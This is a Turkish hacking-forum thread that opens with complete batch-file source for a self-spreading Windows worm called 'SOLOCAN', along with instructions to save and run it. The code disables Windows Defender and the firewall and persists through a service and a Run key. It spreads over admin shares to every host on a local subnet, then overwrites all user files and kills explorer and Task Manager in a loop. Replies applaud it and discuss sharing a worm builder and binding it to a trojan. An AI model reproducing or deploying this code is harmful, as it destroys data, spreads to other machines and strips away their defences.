İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

S O L O C A N Bat Zarar kodu!//_MaC_

24-06-2017 01:07
#1
_MaC_ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Nereden:
Bilinmezden
Mesajlar:
1.363
Teşekkür (Etti):
136
Teşekkür (Aldı):
149
Konular:
35
Ticaret:
(0) %
Aşağıdaki kodu Not defterine yapıştırın. Uzantısını .bat olarak kaydedin. Örnek: SOLOCAN.bat



Not: Kesinlikle kendi bilgisayarınızda denemeyin. Mesuliyet kabul etmem!

Özellikleri:[*] Hizmet olarak çalışır.[*] “net kullanımı” üzerinden ağdaki tüm bilgisayarları bulaşır. [*] Ağdaki tüm kullanıcı hesaplarını bulaşır.[*] C deki tüm dosyalara bulaşır. [*] Kullanıcılar dosyasını gizler.[*] Kayıt defterinde başlangıca kendini yazar.[*] Görev Yöneticisini devre dışı bırakır. [*] Masaüstünü kapatır. [*] Windows Defender ve windows güvenlik duvarını kapatır.

Kod:
@echo off
rem <=-=-= Toplu Solucan =-=-=>
rem <=-=-= SOLOCAN  =-=-=>
set i=0
set servicename=SOLOCAN

rem <=== Hizmet Olarak Calis ===>
echo sc create %servicename% binpath=%0 >> service.bat
echo sc start %servicename% >> service.bat
attrib +h +r +s service.bat
start service.bat
rem <=== Baslangic ===>
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Services" /t "REG_SZ" /d %0
attrib +h +r +s %0
rem <=== Güvenlik duvari ve Windows Defender'i oldur ===>
net stop "Windows Defender Service"
net stop "Windows Firewall"
rem <=== Ag Bulas!!! ===>
:worm
net use Z: \\192.168.1.%i%\C$
if exist Z: (for /f %%u in ('dir Z:\Users /b') do copy %0 "Z:\Users\%%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Services.exe"
mountvol Z: /d)
if %i% == 256 (goto infect) else (set /a i=i+1)
goto worm
rem <=== infect *.* in C:\Users ===>
:infect
for /f %%f in ('dir C:\Users\*.* /s /b') do (rename %%f *.bat)
for /f %%f in ('dir C:\Users\*.bat /s /b') do (copy %0 %%f)
:payload
taskkill /f /im "explorer.exe"
taskkill /f /im "taskmgr.exe"
echo msgbox "SOLOCAN simdi Seni Yakaladi!",1,"%username% wants the D" > solocan.vbs
start solocan.vbs
goto payload

Not:Win7 için, zararlı dosya yönetici modunda çalıştırılmalı.
Kullanıcı İmzası
01:10:11:01:01:10:00:01:01:10:00:11

2009-2018
Konu _MaC_ tarafından (02-07-2017 14:52 Saat 14:52 ) değiştirilmiştir. Sebep: Edit:Resim eklendi
20071999, SayoGs, ANTROPİ Teşekkür etti.

24-06-2017 15:22
#2
karayelll - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
04/2016
Nereden:
TARSUS
Mesajlar:
538
Teşekkür (Etti):
201
Teşekkür (Aldı):
135
Konular:
62
Ticaret:
(0) %
Eline sağlık
24-06-2017 15:28
#3
Suleyman37 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2016
Nereden:
GİZLİ
Mesajlar:
1.299
Teşekkür (Etti):
68
Teşekkür (Aldı):
123
Konular:
217
Ticaret:
(0) %
Eline Sağlık
Kullanıcı İmzası
CreateObject ("SAPI.SpVoice").Speak "HackedBySuleyman37"

24-06-2017 15:32
#4
'Gladyo - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Mesajlar:
693
Teşekkür (Etti):
40
Teşekkür (Aldı):
83
Konular:
65
Ticaret:
(0) %
Ovvvv O Neymiş Öyle La Formatla Gider Demi ?
CD Yerini Vee İnterneti Devre Dışı Bırakabilirseniz O Başka O Da Yapılırmı ?
Tüm USB Ve CD Girişlerini Bloke Edebilecek Birşey..
Kullanıcı İmzası
RED
Konu 'Gladyo tarafından (24-06-2017 15:33 Saat 15:33 ) değiştirilmiştir.
24-06-2017 15:48
#5
TheHEROZ - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2017
Nereden:
ice world
Mesajlar:
332
Teşekkür (Etti):
23
Teşekkür (Aldı):
27
Konular:
40
Ticaret:
(0) %
Bu bat dosyasi
Bunu c# ile yapalim
Bat dosyasi nedir
25-06-2017 01:13
#6
_MaC_ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Nereden:
Bilinmezden
Mesajlar:
1.363
Teşekkür (Etti):
136
Teşekkür (Aldı):
149
Konular:
35
Ticaret:
(0) %
Alıntı:
Suleyman37´isimli üyeden Alıntı Mesajı göster
Eline Sağlık
Alıntı:
karayelll´isimli üyeden Alıntı Mesajı göster
Eline sağlık
İyi kullanımlar.
Kullanıcı İmzası
01:10:11:01:01:10:00:01:01:10:00:11

2009-2018
Konu _MaC_ tarafından (25-06-2017 01:15 Saat 01:15 ) değiştirilmiştir.
25-06-2017 01:18
#7
_MaC_ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Nereden:
Bilinmezden
Mesajlar:
1.363
Teşekkür (Etti):
136
Teşekkür (Aldı):
149
Konular:
35
Ticaret:
(0) %
Alıntı:
'Gladyo´isimli üyeden Alıntı Mesajı göster
Ovvvv O Neymiş Öyle La Formatla Gider Demi ?
CD Yerini Vee İnterneti Devre Dışı Bırakabilirseniz O Başka O Da Yapılırmı ?
Tüm USB Ve CD Girişlerini Bloke Edebilecek Birşey..
Evet dediğin kodlarda var ama bunlarla zaten bilgisayarı öldürüyoruz. Ama elimde WormBuilder var ama paylaşmak için emin değilim.
Kullanıcı İmzası
01:10:11:01:01:10:00:01:01:10:00:11

2009-2018
25-06-2017 01:19
#8
_MaC_ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Nereden:
Bilinmezden
Mesajlar:
1.363
Teşekkür (Etti):
136
Teşekkür (Aldı):
149
Konular:
35
Ticaret:
(0) %
Alıntı:
TheHEROZ´isimli üyeden Alıntı Mesajı göster
Bu bat dosyasi
Bunu c# ile yapalim
Bat dosyasi nedir
C# bilmiyorum ama siz biliyorsanız kodları uyarlayabilirsiniz.
Kullanıcı İmzası
01:10:11:01:01:10:00:01:01:10:00:11

2009-2018
25-06-2017 01:24
#9
'Gladyo - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Mesajlar:
693
Teşekkür (Etti):
40
Teşekkür (Aldı):
83
Konular:
65
Ticaret:
(0) %
Alıntı:
_MaC_´isimli üyeden Alıntı Mesajı göster
Evet dediğin kodlarda var ama bunlarla zaten bilgisayarı öldürüyoruz. Ama elimde WormBuilder var ama paylaşmak için emin değilim.
Worm Builder ? PM İle At Bi..
Kullanıcı İmzası
RED
25-06-2017 02:00
#10
20071999 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2016
Nereden:
Kuvvetmira
Mesajlar:
3.532
Teşekkür (Etti):
850
Teşekkür (Aldı):
1191
Konular:
736
Ticaret:
(0) %
Bunu trojanla binderlamak lazim agdaki pc lere bulasmasi hosuma gitti
Kullanıcı İmzası
S A G O P A
K A J M E R


Mod'lar için yaptığım Post & Başlık Kontrol Programı
[8 Kategori]
https://www.turkhackteam.org/c-j-vb-...ik-kaynak.html

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı